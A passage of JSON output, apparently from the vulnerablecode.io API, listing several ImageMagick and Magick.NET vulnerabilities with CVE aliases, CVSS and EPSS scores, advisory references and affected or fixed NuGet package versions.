"reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/ffe589df5ff8ce1433daa4ccb0d2a9fadfbe30ed", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/ffe589df5ff8ce1433daa4ccb0d2a9fadfbe30ed" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442110", "reference_id": "2442110", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442110" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25794", "reference_id": "CVE-2026-25794", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25794" }, { "reference_url": "https://github.com/advisories/GHSA-vhqj-f5cj-9x8h", "reference_id": "GHSA-vhqj-f5cj-9x8h", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-vhqj-f5cj-9x8h" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vhqj-f5cj-9x8h", "reference_id": "GHSA-vhqj-f5cj-9x8h", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:04:46Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vhqj-f5cj-9x8h" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25794", "GHSA-vhqj-f5cj-9x8h" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-a58f-bqx9-yfhk" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50325?format=api", "vulnerability_id": "VCID-acea-fhhx-xydj", "summary": "ImageMagick: Converting multi-layer nested MVG to SVG can cause DoS\nMagick fails to check for multi-layer nested mvg conversions to svg, leading to DoS.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24484.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24484.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24484", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05227", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24484" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24484", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24484" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:41:00Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/0349df6d43d633bd61bb582d1e1e87d6332de32a", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:41:00Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/0349df6d43d633bd61bb582d1e1e87d6332de32a" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442085", "reference_id": "2442085", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442085" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24484", "reference_id": "CVE-2026-24484", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24484" }, { "reference_url": "https://github.com/advisories/GHSA-wg3g-gvx5-2pmv", "reference_id": "GHSA-wg3g-gvx5-2pmv", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-wg3g-gvx5-2pmv" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wg3g-gvx5-2pmv", "reference_id": "GHSA-wg3g-gvx5-2pmv", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:41:00Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wg3g-gvx5-2pmv" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-24484", "GHSA-wg3g-gvx5-2pmv" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-acea-fhhx-xydj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62837?format=api", "vulnerability_id": "VCID-avs5-2tz8-ebhs", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of service via heap out-of-bounds write in JP2 encoder", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40310.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40310.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40310", "reference_id": "", "reference_type": "", "scores": [ { "value": "6e-05", "scoring_system": "epss", "scoring_elements": "0.00373", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40310" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40310", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40310" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:33:34Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/3d653bea2df085c728a1c8f775808e1e9249dff9", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:33:34Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/3d653bea2df085c728a1c8f775808e1e9249dff9" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:33:34Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pwg5-6jfc-crvh", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:33:34Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pwg5-6jfc-crvh" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40310", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40310" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1134627", "reference_id": "1134627", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1134627" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458047", "reference_id": "2458047", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458047" }, { "reference_url": "https://github.com/advisories/GHSA-pwg5-6jfc-crvh", "reference_id": "GHSA-pwg5-6jfc-crvh", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-pwg5-6jfc-crvh" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-40310", "GHSA-pwg5-6jfc-crvh" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-avs5-2tz8-ebhs" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/91574?format=api", "vulnerability_id": "VCID-bc1g-24nb-nuf5", "summary": "ImageMagick: META reader memory leak in the APP1JPEG input path\nImageMagick contains a memory leak in the META reader when processing the `APP1JPEG` input path.", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9r56-3gjq-hqf7", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9r56-3gjq-hqf7" }, { "reference_url": "https://github.com/advisories/GHSA-9r56-3gjq-hqf7", "reference_id": "GHSA-9r56-3gjq-hqf7", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-9r56-3gjq-hqf7" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/112877?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.11.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.11.1" } ], "aliases": [ "GHSA-9r56-3gjq-hqf7" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-bc1g-24nb-nuf5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50354?format=api", "vulnerability_id": "VCID-bcdj-1szf-u3c8", "summary": "ImageMagick: Memory Leak in multiple coders that write raw pixel data\nA memory leak vulnerability exists in multiple coders that write raw pixel data where an object is not freed.\n\n```\nDirect leak of 160 byte(s) in 1 object(s) allocated from:\n```", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/fe0a49a58ac5b7a18ff2618b6207dcad71123e43", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/fe0a49a58ac5b7a18ff2618b6207dcad71123e43" }, { "reference_url": "https://github.com/advisories/GHSA-wfx3-6g53-9fgc", "reference_id": "GHSA-wfx3-6g53-9fgc", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-wfx3-6g53-9fgc" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wfx3-6g53-9fgc", "reference_id": "GHSA-wfx3-6g53-9fgc", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wfx3-6g53-9fgc" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-wfx3-6g53-9fgc" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-bcdj-1szf-u3c8" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49756?format=api", "vulnerability_id": "VCID-c9t3-dj85-nfev", "summary": "ImageMagick releases an invalid pointer in BilateralBlur when memory allocation fails\nThe BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-22770.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-22770.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-22770", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00087", "scoring_system": "epss", "scoring_elements": "0.25105", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-22770" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], 